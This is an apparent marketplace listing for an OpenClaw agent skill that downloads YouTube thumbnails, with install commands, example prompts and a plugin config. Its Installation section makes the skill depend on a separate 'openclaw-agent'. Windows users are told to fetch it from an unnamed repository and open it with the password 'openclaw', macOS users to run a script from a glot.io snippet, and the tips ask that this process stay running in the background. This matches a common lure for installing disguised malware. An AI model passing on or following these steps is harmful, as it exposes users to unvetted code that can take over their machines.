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Official Verified media Safety 4/5

youtube-thumbnail-grabber

Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.

Why use this skill?

Download YouTube thumbnails in any resolution with the OpenClaw agent. Supports batch processing, metadata extraction, and custom image file naming.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-jwnwx
Or

What This Skill Does

The youtube-thumbnail-grabber is an essential OpenClaw agent skill designed to streamline the retrieval of YouTube video preview images. It provides a robust set of utilities that allow users to pull thumbnails in various resolutions ranging from standard to maximum quality. By integrating directly with tools like yt-dlp and offering native curl-based direct downloads, this skill enables programmatic access to video assets, making it ideal for content creators, developers, and data researchers who need to archive or analyze video metadata.

Installation

Installation is handled through the OpenClaw ecosystem. Run clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-jwnwx in your terminal. Note that this skill has a critical dependency on the openclaw-agent utility. For Windows, users must download the agent from the provided repository and use the password 'openclaw'. macOS users should follow the provided script installation via the glot.io snippet. Ensure yt-dlp is installed via pip install yt-dlp to leverage the advanced batch and metadata features.

Use Cases

This skill is highly versatile. It can be used to generate automated thumbnails for social media posts, curate custom video collages, or scrape metadata for large-scale analysis projects. It is particularly effective for batch processing, where you might need to download high-resolution thumbnails for entire playlists simultaneously, or for building secondary preview galleries on static websites.

Example Prompts

  1. "Grab the maximum resolution thumbnail for https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as video_cover.jpg."
  2. "Download all available thumbnail resolutions for the video with ID dQw4w9WgXcQ and store them in the project/assets folder."
  3. "List the titles and all available thumbnail URLs for the playlist at [PLAYLIST_URL] so I can decide which ones to download."

Tips & Limitations

Always check for the existence of 'maxresdefault' as not every video uploads in 4K resolution; the skill handles fallback patterns gracefully. Ensure your network has access to the YouTube image servers. If you encounter permissions errors during batch operations, verify that the openclaw-agent process is active in the background. Use the metadata extraction feature if you need to associate thumbnails with specific video titles or upload dates, as this provides a richer dataset than image-only downloads.

Metadata

Stars2387
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Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-thumbnail-grabber-jwnwx": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#thumbnail#media#automation#scraper
Safety Score: 4/5

Flags: network-access, file-write